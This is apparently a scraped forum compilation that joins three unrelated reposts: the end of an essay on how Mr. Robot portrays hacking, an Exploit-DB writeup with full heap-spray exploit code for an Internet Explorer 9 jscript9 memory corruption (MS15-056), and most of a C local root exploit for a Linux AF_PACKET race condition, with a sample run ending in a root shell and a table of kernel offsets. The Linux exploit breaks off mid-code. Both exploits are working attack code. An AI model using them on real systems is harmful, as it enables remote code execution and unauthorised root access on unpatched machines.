Robot. The films featured the kinds of musical viruses and absurd user interfaces that are the desperate hallmarks of a visual medium trying to make a nonvisual story interesting. It only got worse. As cryptography crept into the public eye—first through the mid-1990s debate over the Clipper Chip, which would have put a backdoor in essentially all computers, then through subsequent political fights that rage on to this day—it became a frequent source of plot points and groans of dismay from actual hackers and security experts. Like the moment in the fifth Mission Impossible movie when hackers replace the contents of an encrypted file with 0s without first decrypting the file, or the way in Skyfall that encrypted data is visualized as a giant moving sphere. Crypto in movies works just like crypto in the minds of lawmakers: perfectly, until it needs to fail catastrophically. Rami Malek plays Elliot on Mr. Robot, a show that marks the first time a studio has bothered to prioritize accuracy in how it portrays hacker culture. Fan noise Kor Adana is largely responsible for giving Mr. Robot the technological rigor that sets the show apart. The 32-year-old Michigan native once worked at an automotive company, attempting to punch holes in the security of the computers in cars heading into production. Adana told me that when he threw away his lucrative cybersecurity career to work in Hollywood, he was gambling that his background in information security would be an asset rather than an odd quirk. That paid off thanks to the trust of show creator Sam Esmail, who gave Adana the authority to argue with production designers over seemingly minor details. He ensures that the correct cable connects a PC tower to its monitor, or that the network card’s activity lights are actually blinking when the shot comes out of post-production. Adana gives sound engineers fits by insisting that scenes set in rooms full of powerful PCs must have the correct level of accompanying fan noise. Adana also battles the legal department over his commitment to technical rigor in the hacking attacks depicted on the show, knowing that hackers will go through the episode frame by frame, looking at the command-line instructions for accuracy and in-jokes. Those hackers are a minority of the show’s audience, but they’re also the show’s cheerleaders, and when an incredulous information civilian asks a clued-in hacker buddy whether the stuff on Mr. Robot could reallyhappen, the hacker can nod vigorously and promise that it’s all true. Another promising show is Black Mirror, created by the British satirist Charlie Brooker and now streaming on Netflix. It’s not rigorous in the same way as Mr. Robot, because it projects into the future rather than describing the technical details of the recent past. But its depiction of user interface elements and product design reflect a coherent understanding of how the technologies of today work, and thus where they may be tomorrow. Clicks on computers in the show call forth menus that have options we can recognize; the opacity of the error messages is all too plausible; even the vacant facial expressions of people lost in their technology have a plausibility that other shows rarely achieve. My own 2008 young adult novel Little Brother, whose plot turns on the real capabilities of computers, has been under development at Paramount for a year now. The story features a teenage hacker army that uses GPS to send private e-mails and exploits software-defined radios in game consoles to create mesh networks protected by strong crypto. The one thing everyone in the meetings agrees on is that the technical rigor of the story needs to be carried over onto the screen. As cryptography crept into the public eye, it became a frequent source of plot points and groans of dismay from actual hackers and security experts. This isn’t trivial. It’s not just about better entertainment. When information security is the difference between a working hospital and one that has to be shut down (as was the case with the ransomware attacks on hospitals across America in 2016) and when server break-ins can affect the outcomes of U.S. elections, it’s clear that we all need a better sense of what computers can do for us and how they can burn us. Adana says he is gratified when he meets information security noncombatants who have no interest in being IT nerds but who areinterested in the security and privacy implications of the technologies they use—something heretofore believed to be impossible. Information security is one of those problems whose very nature can’t be agreed upon—and the lack of technological smarts in the halls of power is compounded by the lack of technological understanding in the body politic. Decades ago, WarGames inspired a legacy of stupid technology law that we still struggle with. Mr. Robot and the programs that come after it might just leave behind a happier legacy: laws, policies, and understanding that help us solve the most urgent problems of our age. Cory Doctorow is a science fiction novelist; his next book, Walkaway, will be published in 2017. He is also a special advisor to the Electronic Frontier Foundation and activist in residence for the MIT Media Lab. Sursa: https://www.technologyreview.com/s/603045/mr-robot-killed-the-hollywood-hacker/

Microsoft Internet Explorer jscript9 - Java­Script­Stack­Walker Memory Corruption (MS15-056) <!-- Source: http://blog.skylined.nl/20161206001.html Synopsis A specially crafted web-page can trigger a memory corruption vulnerability in Microsoft Internet Explorer 9. A pointer set up to point to certain data on the stack can be used after that data has been removed from the stack. This results in a stack-based analog to a heap use-after-free vulnerability. The stack memory where the data was stored can be modified by an attacker before it is used, allowing remote code execution. Known affected software and attack vectors Microsoft Internet Explorer 9 An attacker would need to get a target user to open a specially crafted web-page. Disabling Java­Script should prevent an attacker from triggering the vulnerable code path. Repro.html: <!doctype html> <script> var o­Window = window.open("about:blank"); o­Window.exec­Script('window.o­URIError = new URIError();o­URIError.name = o­URIError;') try { "" + o­Window.o­URIError; } catch(e) { } try { "" + o­Window.o­URIError; } catch(e) { } </script> Description A Javascript can construct an URIError object and sets that object's name property to refer to the URIError object, creating a circular reference. When that Javascript than attempts to convert the URIError object to a string, MSIE attempts to convert the URIError object's name to a string, which creates a recursive code loop that eventually causes a stack exhaustion. MSIE attempts to handle this situation gracefully by generating a Java­Script exception. While generating the exception, information about the call stack is gathered using the Javascript­Stack­Walker class. It appears that the code that does this initializes a pointer variable on the stack the first time it is run, but re-uses it if it gets called a second time. Unfortunately, the information the pointer points to is also stored on the stack, but is removed from the stack after the first exception is handled. Careful manipulation of the stack during both exceptions allow an attacker to control the data the pointer points to during the second exception. This problem is not limited to the URIError object: any recursive function call can be used to trigger the issue, as shown in the exploit below. Exploit As mentioned above, the vulnerable pointer points to valid stack memory during the first exception, but it is "popped" from the stack before the second. In order to exploit this vulnerability, the code executed during the first exception is going to point this pointer to a specific area of the stack, while the code executed during the second is going to allocate certain values in that same area before the pointer is re-used. Control over the stack contents during a stack exhaustion can be achieved by making the recursive calls with many arguments, all of which are stored on the stack. This is similar to a heap-spray storing values on large sections of the heap in that it is not entirely deterministic, but the odds are very highly in favor of you setting a certain value at a certain address. The exploit triggers the first exception by making recursive calls using a lot of arguments. In each loop, a lot of stack space is needed to make the next call. At some point there will not be enough stack space left to make another call and an exception is thrown. If N arguments are passed during each call, N*4 bytes of stack are needed to store them. The number of bytes left on the stack at the time of the exception varies from 0 to about 4*N and thus averages to about 4*N/2. The vulnerable pointer gets initialized to point to an address near the stack pointer at the time of the exception, at approximately (bottom of stack) + 4*N/2. The exploit then triggers another stack exhaustion by making recursive calls using many arguments, but significantly less than before. If M arguments are passed during each call this time, the number of bytes left on the stack at the time of the exception averages to about 4*M/2. When the second exception happens, the vulnerable pointer points inside the stack that was "sprayed" with function arguments. This means we can control where it points to. The pointer is used as an object pointer to get a function address from a vftable, so by using the right value to spray the stack, we can gain full control over execution flow. The below schematic shows the layout of the stack during the various stages of this exploit: | | |<- bottom of stack top of stack ->| | | | Stack layout at the moment the first exception is triggered: | | | | [--- CALL X ---][-- CALL X-1 --][-- CALL X-2 --][...........]| | | |{---------------} Stack space available is less than 4*N bytes | | | | ^^^ | | Vulnerable pointer gets initialized to point around here | | | | | | | | Stack layout at the moment the second exception is triggered: | | | | [CALL Y][CALL Y-1][CALL Y-2][CALL Y-3][CALL Y-3][........................]| | | |{--} Stack space available is less than 4*M bytes | | | | ^^^ | | Vulnerable pointer still points around here, most likely at | | one of the arguments pushed onto the stack in a call. | | | In the Proof-of-Concept code provided below, the first exception is triggered by recursively calling a function with 0x2000 arguments (N = 0x2000). The second exception is triggered by recursively calling a function with 0x200 arguments (M = 0x200). The values passed as arguments during the second stack exhaustion are set to cause the vulnerable pointer to point to a fake vftable on the heap. The heap is sprayed to create this fake vftable. A fake function address is stored at 0x28000201 (p­Target) that points to a dummy shellcode consisting of int3's at 0x28000300 (p­Shellcode). Once the vulnerability is triggered, the vulnerable pointer is used to read the pointer to our shellcode from our fake vftable and called, which will attempt to execute our shellcode. Sploit.html: --> <!doctype html> <script src="String.js"></script> <script src="spray­Heap.js"></script> <script> function stack­Overflow­High­On­Stack() { stack­Overflow­High­On­Stack.apply(0, new Array(0x2000)); } function attack(p­Target) { var ax­Args = []; while (ax­Args.length < 0x200) ax­Args.push((p­Target - 0x69C) >>> 1); exception­Low­On­Stack­With­Spray(); function exception­Low­On­Stack­With­Spray() { try { (function(){}).apply(0, ax­Args); } catch (e) { throw 0; } exception­Low­On­Stack­With­Spray.apply(0, ax­Args); } } var p­Spray­Start­Address = 0x09000000; var d­Heap­Spray­Template = {}; var p­Target = 0x28000201; var p­Shellcode = 0x28000300; d­Heap­Spray­Template[p­Target] = p­Shellcode; d­Heap­Spray­Template[p­Shellcode] = 0x­CCCCCCCC; window.s­Heap­Spray­Block = create­Spray­Block(d­Heap­Spray­Template); window.u­Heap­Spray­Block­Count = get­Spray­Block­Count(d­Heap­Spray­Template, p­Spray­Start­Address); var o­Window = window.open("about:blank"); function prepare() { window.as­Heap­Spray = new Array(opener.u­Heap­Spray­Block­Count); for (var i = 0; i < opener.u­Heap­Spray­Block­Count; i++) { as­Heap­Spray[i] = (opener.s­Heap­Spray­Block + "A").substr(0, opener.s­Heap­Spray­Block.length); } } o­Window.eval("(" + prepare + ")();"); try { String(o­Window.eval("({to­String:" + stack­Overflow­High­On­Stack + "})")); } catch(e) { o­Window.eval("(" + attack + ")(" + p­Target + ")"); } </script> <!-- String.js: String.from­Word = function (w­Value) { // Return a BSTR that contains the desired DWORD in its string data. return String.from­Char­Code(w­Value); } String.from­Words = function (aw­Values) { // Return a BSTR that contains the desired DWORD in its string data. return String.from­Char­Code.apply(0, aw­Values); } String.from­DWord = function (dw­Value) { // Return a BSTR that contains the desired DWORD in its string data. return String.from­Char­Code(dw­Value & 0x­FFFF, dw­Value >>> 16); } String.from­DWords = function (au­Values) { var as­DWords = new Array(au­Values.length); for (var i = 0; i < au­Values.length; i++) { as­DWords[i] = String.from­DWord(au­Values[i]); } return as­DWords.join(""); } String.prototype.repeat = function (u­Count) { // Return the requested number of concatenated copies of the string. var s­Repeated­String = "", u­Left­Most­Bit = 1 << (Math.ceil(Math.log(u­Count + 1) / Math.log(2)) - 1); for (var u­Bit = u­Left­Most­Bit; u­Bit > 0; u­Bit = u­Bit >>> 1) { s­Repeated­String += s­Repeated­String; if (u­Count & u­Bit) s­Repeated­String += this; } return s­Repeated­String; } String.create­Buffer = function(u­Size, u­Index­Size) { // Create a BSTR of the right size to be used as a buffer of the requested size, taking into account the 4 byte // "length" header and 2 byte "\0" footer. The optional argument u­Index­Size can be 1, 2, 4 or 8, at which point the // buffer will be filled with indices of said size (this is slower but useful for debugging). if (!u­Index­Size) return "\u­DEAD".repeat(u­Size / 2 - 3); var au­Buffer­Char­Codes = new Array((u­Size - 4) / 2 - 1); var u­MSB = u­Index­Size == 8 ? 8 : 4; // Most significant byte. for (var u­Char­Index = 0, u­Byte­Index = 4; u­Char­Index < au­Buffer­Char­Codes.length; u­Char­Index++, u­Byte­Index +=2) { if (u­Index­Size == 1) { au­Buffer­Char­Codes[u­Char­Index] = u­Byte­Index + ((u­Byte­Index + 1) << 8); } else { // Set high bits to prevents both NULLs and valid pointers to userland addresses. au­Buffer­Char­Codes[u­Char­Index] = 0x­F000 + (u­Byte­Index % u­Index­Size == 0 ? u­Byte­Index & 0x­FFF : 0); } } return String.from­Char­Code.apply([][0], au­Buffer­Char­Codes); } String.prototype.clone = function () { // Create a copy of a BSTR in memory. s­String = this.substr(0, this.length); s­String.length; return s­String; } String.prototype.replace­DWord = function (u­Byte­Offset, dw­Value) { // Return a copy of a string with the given dword value stored at the given offset. // u­Offset can be a value beyond the end of the string, in which case it will "wrap". return this.replace­Word(u­Byte­Offset, dw­Value & 0x­FFFF).replace­Word(u­Byte­Offset + 2, dw­Value >> 16); } String.prototype.replace­Word = function (u­Byte­Offset, w­Value) { // Return a copy of a string with the given word value stored at the given offset. // u­Offset can be a value beyond the end of the string, in which case it will "wrap". if (u­Byte­Offset & 1) { return this.replace­Byte(u­Byte­Offset, w­Value & 0x­FF).replace­Byte(u­Byte­Offset + 1, w­Value >> 8); } else { var u­Char­Index = (u­Byte­Offset >>> 1) % this.length; return this.substr(0, u­Char­Index) + String.from­Word(w­Value) + this.substr(u­Char­Index + 1); } } String.prototype.replace­Byte = function (u­Byte­Offset, b­Value) { // Return a copy of a string with the given byte value stored at the given offset. // u­Offset can be a value beyond the end of the string, in which case it will "wrap". var u­Char­Index = (u­Byte­Offset >>> 1) % this.length, w­Value = this.char­Code­At(u­Char­Index); if (u­Byte­Offset & 1) { w­Value = (w­Value & 0x­FF) + ((b­Value & 0x­FF) << 8); } else { w­Value = (w­Value & 0x­FF00) + (b­Value & 0x­FF); } return this.substr(0, u­Char­Index) + String.from­Word(w­Value) + this.substr(u­Char­Index + 1); } String.prototype.replace­Buffer­DWord = function (u­Byte­Offset, u­Value) { // Return a copy of a BSTR with the given dword value store at the given offset. if (u­Byte­Offset & 1) throw new Error("u­Byte­Offset (" + u­Byte­Offset.to­String(16) + ") must be Word aligned"); if (u­Byte­Offset < 4) throw new Error("u­Byte­Offset (" + u­Byte­Offset.to­String(16) + ") overlaps BSTR size dword."); var u­Char­Index = u­Byte­Offset / 2 - 2; if (u­Char­Index == this.length - 1) throw new Error("u­Byte­Offset (" + u­Byte­Offset.to­String(16) + ") overlaps BSTR terminating NULL."); return this.substr(0, u­Char­Index) + String.from­DWord(u­Value) + this.substr(u­Char­Index + 2); } spray­Heap.js: console = window.console || {"log": function(){}}; function bad(p­Address) { // convert a valid 32-bit pointer to an invalid one that is easy to convert // back. Useful for debugging: use a bad pointer, get an AV whenever it is // used, then fix pointer and continue with exception handled to have see what // happens next. return 0x80000000 + p­Address; } function blanket(d­Spray_­dw­Value_­p­Address, p­Address) { // Can be used to store values that indicate offsets somewhere in the heap // spray. Useful for debugging: blanket region, get an AV at an address // that indicates where the pointer came from. Does not overwrite addresses // at which data is already stored. for (var u­Offset = 0; u­Offset < 0x40; u­Offset += 4) { if (!((p­Address + u­Offset) in d­Spray_­dw­Value_­p­Address)) { d­Spray_­dw­Value_­p­Address[p­Address + u­Offset] = bad(((p­Address & 0x­FFF) << 16) + u­Offset); } } } var gu­Spray­Block­Size = 0x02000000; // how much fragmentation do you want? var gu­Spray­Page­Size = 0x00001000; // block alignment. // Different versions of MSIE have different heap header sizes: var s­JSVersion; try{ /*@cc_­on @*/ s­JSVersion = eval("@_jscript_­version"); } catch(e) { s­JSVersion = "unknown" }; var gu­Heap­Header­Size = { "5.8": 0x24, "9": 0x10, // MSIE9 "unknown": 0x10 }[s­JSVersion]; // includes BSTR length var gu­Heap­Footer­Size = 0x04; if (!gu­Heap­Header­Size) throw new Error("Unknown script version " + s­JSVersion); function create­Spray­Block(d­Spray_­dw­Value_­p­Address) { // Create a spray "page" and store spray data at the right offset. var s­Spray­Page = "\u­DEAD".repeat(gu­Spray­Page­Size >> 1); for (var p­Address in d­Spray_­dw­Value_­p­Address) { s­Spray­Page = s­Spray­Page.replace­DWord(p­Address % gu­Spray­Page­Size, d­Spray_­dw­Value_­p­Address[p­Address]); } // Create a spray "block" by concatinated copies of the spray "page", taking into account the header and footer // used by MSIE for larger heap allocations. var u­Spray­Pages­Per­Block = Math.ceil(gu­Spray­Block­Size / gu­Spray­Page­Size); var s­Spray­Block = ( s­Spray­Page.substr(gu­Heap­Header­Size >> 1) + s­Spray­Page.repeat(u­Spray­Pages­Per­Block - 2) + s­Spray­Page.substr(0, s­Spray­Page.length - (gu­Heap­Footer­Size >> 1)) ); var u­Actual­Spray­Block­Size = gu­Heap­Header­Size + s­Spray­Block.length * 2 + gu­Heap­Footer­Size; if (u­Actual­Spray­Block­Size != gu­Spray­Block­Size) throw new Error("Assertion failed: spray block (" + u­Actual­Spray­Block­Size.to­String(16) + ") should be " + gu­Spray­Block­Size.to­String(16) + "."); console.log("create­Spray­Block():"); console.log(" s­Spray­Page.length: " + s­Spray­Page.length.to­String(16)); console.log(" u­Spray­Pages­Per­Block: " + u­Spray­Pages­Per­Block.to­String(16)); console.log(" s­Spray­Block.length: " + s­Spray­Block.length.to­String(16)); return s­Spray­Block; } function get­Heap­Block­Index­For­Address(p­Address) { return ((p­Address % gu­Spray­Page­Size) - gu­Heap­Header­Size) >> 1; } function get­Spray­Block­Count(d­Spray_­dw­Value_­p­Address, p­Start­Address) { p­Start­Address = p­Start­Address || 0; var p­Target­Address = 0x0; for (var p­Address in d­Spray_­dw­Value_­p­Address) { p­Target­Address = Math.max(p­Target­Address, p­Address); } u­Spray­Blocks­Count = Math.ceil((p­Target­Address - p­Start­Address) / gu­Spray­Block­Size); console.log("get­Spray­Block­Count():"); console.log(" p­Target­Address: " + p­Target­Address.to­String(16)); console.log(" u­Spray­Blocks­Count: " + u­Spray­Blocks­Count.to­String(16)); return u­Spray­Blocks­Count; } function spray­Heap(d­Spray_­dw­Value_­p­Address, p­Start­Address) { var u­Spray­Blocks­Count = get­Spray­Block­Count(d­Spray_­dw­Value_­p­Address, p­Start­Address); // Spray the heap by making copies of the spray "block". var as­Spray = new Array(u­Spray­Blocks­Count); as­Spray[0] = create­Spray­Block(d­Spray_­dw­Value_­p­Address); for (var u­Index = 1; u­Index < as­Spray.length; u­Index++) { as­Spray[u­Index] = as­Spray[0].clone(); } return as­Spray; } Time-line 13 October 2012: This vulnerability was found through fuzzing. 29 October 2012: This vulnerability was submitted to EIP. 18 November 2012: This vulnerability was submitted to ZDI. 27 November 2012: EIP declines to acquire this vulnerability because they believe it to be a copy of another vulnerability they already acquired. 7 December 2012: ZDI declines to acquire this vulnerability because they believe it not to be exploitable. During the initial report detailed above, I did not have a working exploit to prove exploitability. I also expected the bug to be fixed soon, seeing how EIP believed they already reported it to Microsoft. However, about two years later, I decided to look at the issue again and found it had not yet been fixed. Apparently it was not the same issue that EIP reported to Microsoft. So, I decided to try to have another look and developed a Proof-of-Concept exploit. April 2014: I start working on this case again, and eventually develop a working Proof-of-Concept exploit. 6 November 2014: ZDI was informed of the new analysis and reopens the case. 15 November 2014: This vulnerability was submitted to i­Defense. 16 November 2014: i­Defense responds to my report email in plain text, potentially exposing the full vulnerability details to world+dog. 17 November 2014: ZDI declines to acquire this vulnerability after being informed of the potential information leak. 11 December 2012: This vulnerability was acquired by i­Defense. The accidentally potential disclosure of vulnerability details by i­Defense was of course a bit of a disappointment. They reported that they have since updated their email system to automatically encrypt emails, which should prevent this from happening again. 9 June 2015: Microsoft addresses this vulnerability in MS15-056. 6 December 2016: Details of this vulnerability are released. --> Sursa: https://www.exploit-db.com/exploits/40881/

Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Condition Privilege Escalation /* chocobo_root.c linux AF_PACKET race condition exploit exploit for Ubuntu 16.04 x86_64 vroom vroom *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= user@ubuntu:~$ uname -a Linux ubuntu 4.4.0-51-generic #72-Ubuntu SMP Thu Nov 24 18:29:54 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux user@ubuntu:~$ id uid=1000(user) gid=1000(user) groups=1000(user) user@ubuntu:~$ gcc chocobo_root.c -o chocobo_root -lpthread user@ubuntu:~$ ./chocobo_root linux AF_PACKET race condition exploit by rebel kernel version: 4.4.0-51-generic #72 proc_dostring = 0xffffffff81088090 modprobe_path = 0xffffffff81e48f80 register_sysctl_table = 0xffffffff812879a0 set_memory_rw = 0xffffffff8106f320 exploit starting making vsyscall page writable.. new exploit attempt starting, jumping to 0xffffffff8106f320, arg=0xffffffffff600000 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 174222, last val = 2) current packet version = 0 pbd->hdr.bh1.offset_to_first_pkt = 48 *=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=* please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that. closing socket and verifying....... vsyscall page altered! stage 1 completed registering new sysctl.. new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 30773, last val = 0) current packet version = 2 pbd->hdr.bh1.offset_to_first_pkt = 48 race not won retrying stage.. new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 133577, last val = 2) current packet version = 0 pbd->hdr.bh1.offset_to_first_pkt = 48 *=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=* please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that. closing socket and verifying....... sysctl added! stage 2 completed binary executed by kernel, launching rootshell root@ubuntu:~# id uid=0(root) gid=0(root) groups=0(root),1000(user) *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= There are offsets included for older kernels, but they're untested so be aware that this exploit will probably crash kernels older than 4.4. tested on: Ubuntu 16.04: 4.4.0-51-generic Ubuntu 16.04: 4.4.0-47-generic Ubuntu 16.04: 4.4.0-36-generic Ubuntu 14.04: 4.4.0-47-generic #68~14.04.1-Ubuntu Shoutouts to: jsc for inspiration (https://www.youtube.com/watch?v=x4UDIfcYMKI) mcdelivery for delivering hotcakes and coffee 11/2016 by rebel */ #define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <sys/wait.h> #include <assert.h> #include <errno.h> #include <fcntl.h> #include <poll.h> #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> #include <netinet/if_ether.h> #include <sys/mman.h> #include <sys/socket.h> #include <sys/stat.h> #include <linux/if_packet.h> #include <pthread.h> #include <linux/sched.h> #include <netinet/tcp.h> #include <sys/syscall.h> #include <signal.h> #include <sched.h> #include <sys/utsname.h> volatile int barrier = 1; volatile int vers_switcher_done = 0; struct offset { char *kernel_version; unsigned long proc_dostring; unsigned long modprobe_path; unsigned long register_sysctl_table; unsigned long set_memory_rw; }; struct offset *off = NULL; //99% of these offsets haven't actually been tested :) struct offset offsets[] = { {"4.4.0-46-generic #67~14.04.1",0xffffffff810842f0,0xffffffff81e4b100,0xffffffff81274580,0xffffffff8106b880}, {"4.4.0-47-generic #68~14.04.1",0,0,0,0}, {"4.2.0-41-generic #48",0xffffffff81083470,0xffffffff81e48920,0xffffffff812775c0,0xffffffff8106c680}, {"4.8.0-22-generic #24",0xffffffff8108ab70,0xffffffff81e47880,0xffffffff812b34b0,0xffffffff8106f0d0}, {"4.2.0-34-generic #39",0xffffffff81082080,0xffffffff81c487e0,0xffffffff81274490,0xffffffff8106b5d0}, {"4.2.0-30-generic #36",0xffffffff810820d0,0xffffffff81c487e0,0xffffffff812744e0,0xffffffff8106b620}, {"4.2.0-16-generic #19",0xffffffff81081ac0,0xffffffff81c48680,0xffffffff812738f0,0xffffffff8106b110}, {"4.2.0-17-generic #21",0,0,0,0}, {"4.2.0-18-generic #22",0,0,0,0}, {"4.2.0-19-generic #23~14.04.1",0xffffffff8107d640,0xffffffff81c497c0,0xffffffff8125de30,0xffffffff81067750}, {"4.2.0-21-generic #25~14.04.1",0,0,0,0}, {"4.2.0-30-generic #36~14.04.1",0xffffffff8107da40,0xffffffff81c4a8e0,0xffffffff8125dd40,0xffffffff81067b20}, {"4.2.0-27-generic #32~14.04.1",0xffffffff8107dbe0,0xffffffff81c498c0,0xffffffff8125e420,0xffffffff81067c60}, {"4.2.0-36-generic #42",0xffffffff81083430,0xffffffff81e488e0,0xffffffff81277380,0xffffffff8106c680}, {"4.4.0-22-generic #40",0xffffffff81087d40,0xffffffff81e48f00,0xffffffff812864d0,0xffffffff8106f370}, {"4.2.0-18-generic #22~14.04.1",0xffffffff8107d620,0xffffffff81c49780,0xffffffff8125dd10,0xffffffff81067760}, {"4.4.0-34-generic #53",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286ed0,0xffffffff8106f370}, {"4.2.0-22-generic #27",0xffffffff81081ad0,0xffffffff81c486c0,0xffffffff81273b20,0xffffffff8106b100}, {"4.2.0-23-generic #28",0,0,0,0}, {"4.2.0-25-generic #30",0,0,0,0}, {"4.4.0-36-generic #55",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286e50,0xffffffff8106f360}, {"4.2.0-42-generic #49",0xffffffff81083490,0xffffffff81e489a0,0xffffffff81277870,0xffffffff8106c680}, {"4.4.0-31-generic #50",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286e90,0xffffffff8106f370}, {"4.4.0-22-generic #40~14.04.1",0xffffffff81084250,0xffffffff81c4b080,0xffffffff81273de0,0xffffffff8106b9d0}, {"4.2.0-38-generic #45",0xffffffff810833d0,0xffffffff81e488e0,0xffffffff81277410,0xffffffff8106c680}, {"4.4.0-45-generic #66",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874c0,0xffffffff8106f320}, {"4.2.0-36-generic #42~14.04.1",0xffffffff8107ffd0,0xffffffff81c499e0,0xffffffff81261ea0,0xffffffff81069d00}, {"4.4.0-45-generic #66~14.04.1",0xffffffff81084260,0xffffffff81e4b100,0xffffffff81274340,0xffffffff8106b880}, {"4.2.0-22-generic #27~14.04.1",0xffffffff8107d640,0xffffffff81c497c0,0xffffffff8125deb0,0xffffffff81067750}, {"4.2.0-25-generic #30~14.04.1",0,0,0,0}, {"4.2.0-23-generic #28~14.04.1",0,0,0,0}, {"4.4.0-46-generic #67",0xffffffff81088040,0xffffffff81e48f80,0xffffffff81287800,0xffffffff8106f320}, {"4.4.0-47-generic #68",0,0,0,0}, {"4.4.0-34-generic #53~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c40,0xffffffff8106b880}, {"4.4.0-36-generic #55~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c60,0xffffffff8106b890}, {"4.4.0-31-generic #50~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c20,0xffffffff8106b880}, {"4.2.0-38-generic #45~14.04.1",0xffffffff8107fdc0,0xffffffff81c4a9e0,0xffffffff81261540,0xffffffff81069bf0}, {"4.2.0-35-generic #40",0xffffffff81083430,0xffffffff81e48860,0xffffffff81277240,0xffffffff8106c680}, {"4.4.0-24-generic #43~14.04.1",0xffffffff81084120,0xffffffff81c4b080,0xffffffff812736f0,0xffffffff8106b880}, {"4.4.0-21-generic #37",0xffffffff81087cf0,0xffffffff81e48e80,0xffffffff81286310,0xffffffff8106f370}, {"4.2.0-34-generic #39~14.04.1",0xffffffff8107dc50,0xffffffff81c498e0,0xffffffff8125e830,0xffffffff81067c90}, {"4.4.0-24-generic #43",0xffffffff81087e60,0xffffffff81e48f00,0xffffffff812868f0,0xffffffff8106f370}, {"4.4.0-21-generic #37~14.04.1",0xffffffff81084220,0xffffffff81c4b000,0xffffffff81273a30,0xffffffff8106b9d0}, {"4.2.0-41-generic #48~14.04.1",0xffffffff8107fe20,0xffffffff81c4aa20,0xffffffff812616c0,0xffffffff81069bf0}, {"4.8.0-27-generic #29",0xffffffff8108ab70,0xffffffff81e47880,0xffffffff812b3490,0xffffffff8106f0d0}, {"4.8.0-26-generic #28",0,0,0,0}, {"4.4.0-38-generic #57",0xffffffff81087f70,0xffffffff81e48f80,0xffffffff81287470,0xffffffff8106f360}, {"4.4.0-42-generic #62~14.04.1",0xffffffff81084260,0xffffffff81e4b100,0xffffffff81274300,0xffffffff8106b880}, {"4.4.0-38-generic #57~14.04.1",0xffffffff81084210,0xffffffff81e4b100,0xffffffff812742e0,0xffffffff8106b890}, {"4.4.0-49-generic #70",0xffffffff81088090,0xffffffff81e48f80,0xffffffff81287d40,0xffffffff8106f320}, {"4.4.0-49-generic #70~14.04.1",0xffffffff81084350,0xffffffff81e4b100,0xffffffff81274b10,0xffffffff8106b880}, {"4.2.0-21-generic #25",0xffffffff81081ad0,0xffffffff81c486c0,0xffffffff81273aa0,0xffffffff8106b100}, {"4.2.0-19-generic #23",0,0,0,0}, {"4.2.0-42-generic #49~14.04.1",0xffffffff8107fe20,0xffffffff81c4aaa0,0xffffffff81261980,0xffffffff81069bf0}, {"4.4.0-43-generic #63",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874b0,0xffffffff8106f320}, {"4.4.0-28-generic #47",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286df0,0xffffffff8106f370}, {"4.4.0-28-generic #47~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273b70,0xffffffff8106b880}, {"4.9.0-1-generic #2",0xffffffff8108bbe0,0xffffffff81e4ac20,0xffffffff812b8400,0xffffffff8106f390}, {"4.8.0-28-generic #30",0xffffffff8108ae10,0xffffffff81e48b80,0xffffffff812b3690,0xffffffff8106f0e0}, {"4.2.0-35-generic #40~14.04.1",0xffffffff8107fff0,0xffffffff81c49960,0xffffffff81262320,0xffffffff81069d20}, {"4.2.0-27-generic #32",0xffffffff810820c0,0xffffffff81c487c0,0xffffffff81274150,0xffffffff8106b620}, {"4.4.0-42-generic #62",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874a0,0xffffffff8106f320}, {"4.4.0-51-generic #72",0xffffffff81088090,0xffffffff81e48f80,0xffffffff812879a0,0xffffffff8106f320}, //{"4.8.6-300.fc25.x86_64 #1 SMP Tue Nov 1 12:36:38 UTC 2016",0xffffffff9f0a8b30,0xffffffff9fe40940,0xffffffff9f2cfbf0,0xffffffff9f0663b0}, {NULL,0,0,0,0} }; #define VSYSCALL 0xffffffffff600000 #define PAD 64 int pad_fds[PAD]; struct ctl_table { const char *procname; void *data; int maxlen; unsigned short mode; struct ctl_table *child; void *proc_handler; void *poll; void *extra1; void *extra2; }; #define CONF_RING_FRAMES 1 struct tpacket_req3 tp; int sfd; int mapped = 0; struct timer_list { void *next; void *prev; unsigned long expires; void (*function)(unsigned long); unsigned long data; unsigned int flags; int slack; }; void *setsockopt_thread(void *arg) { while(barrier) { } setsockopt(sfd, SOL_PACKET, PACKET_RX_RING, (void*) &tp, sizeof(tp)); return NULL; } void *vers_switcher(void *arg) { int val,x,y; while(barrier) {} while(1) { val = TPACKET_V1; x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val)); y++; if(x != 0) break; val = TPACKET_V3; x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val)); if(x != 0) break; y++; } fprintf(stderr,"version switcher stopping, x = %d (y = %d, last val = %d)\n",x,y,val); vers_switcher_done = 1; return NULL; } #define BUFSIZE 1408 char exploitbuf[BUFSIZE]; void 